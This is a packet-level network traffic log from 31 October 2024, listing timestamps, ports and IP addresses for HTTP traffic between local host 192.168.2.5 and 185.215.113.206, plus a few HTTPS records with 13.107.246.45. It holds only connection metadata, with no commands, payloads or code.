Oct 31, 2024 01:18:54.426214933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426239014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426250935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426255941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426273108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426280975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426314116 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426314116 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426316977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426331997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426347971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426361084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426372051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426382065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426386118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426399946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426408052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426415920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426429987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426445007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426445007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426446915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426464081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426496983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426512957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426512957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426518917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426542044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426557064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426565886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426565886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426572084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426584005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426588058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426600933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426610947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426621914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426629066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426630020 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426645041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426660061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426670074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426676035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426692009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426698923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426708937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426716089 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426723003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426726103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426748991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426764965 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426764965 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426769018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426785946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426799059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426812887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426820993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426836014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426841974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426841974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426850080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426877022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426892042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426903009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426906109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426928043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426929951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426947117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426960945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426970005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426978111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426992893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427007914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427015066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427022934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427036047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427051067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427061081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427064896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427068949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427079916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427103043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427108049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427108049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427118063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427119970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427134991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427150965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427159071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427162886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427171946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427227974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427227974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427277088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427292109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427305937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427326918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427340984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427356958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427360058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427372932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427383900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427396059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427411079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427419901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427437067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427464962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427478075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427493095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427506924 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427519083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427522898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427536964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427539110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427561998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427566051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427567005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427578926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427589893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427603006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427618027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427624941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427624941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427633047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427649021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427656889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427656889 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427674055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427678108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427697897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427707911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427714109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427726030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427752972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427763939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427763939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427768946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427782059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427795887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427803993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427818060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427825928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427845955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427865982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427889109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427896976 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427906036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427913904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427922010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427928925 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.427937984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427952051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427953005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427968979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427978992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427983999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.427994967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.427999973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428008080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428016901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428035021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428050995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428050995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428057909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428080082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428086996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428086996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428092957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428107023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428114891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428122997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428134918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428134918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428138018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428152084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428165913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428181887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428209066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428209066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428209066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428209066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428209066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428220034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428242922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428246975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428256989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428260088 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.428275108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428287029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428289890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428302050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428318024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428322077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428322077 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.428339958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428354979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428369045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428385019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428385973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428385973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428385973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428400040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428412914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428416014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428428888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428442955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428451061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428451061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428457975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428472996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428478956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428494930 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428503990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428519964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428531885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428533077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428546906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428555012 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428564072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428577900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428591967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428591967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428592920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428606033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428625107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428634882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428651094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428658962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428667068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428682089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428693056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428746939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428746939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428775072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428814888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428829908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428843021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428877115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428890944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428900003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428906918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428922892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428930044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.428972960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428993940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.428998947 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429009914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429025888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429033041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429043055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429053068 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429058075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429074049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429084063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429084063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429085970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429105997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429119110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429130077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429140091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429156065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429167032 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429169893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429186106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429198027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429198027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429199934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429210901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429214954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429230928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429244041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429244041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429258108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429270983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429280996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429285049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429300070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429308891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429315090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429322004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429330111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429343939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429354906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429368019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429378033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429389954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429411888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429434061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429440975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429451942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429456949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429467916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429475069 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429483891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429500103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429506063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429521084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429536104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429547071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429547071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429552078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429567099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429569960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429580927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429589987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429596901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429615974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429630041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429636002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429636002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429636002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429653883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429703951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.429862022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429881096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429896116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.429928064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430016994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430031061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430039883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430047035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430068970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430079937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430079937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430087090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430093050 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430103064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430118084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430129051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430140972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430146933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430156946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430169106 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430171967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430180073 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430195093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430210114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430221081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430221081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430224895 CET	80	49962	185.215.113.206	192.168.2.5
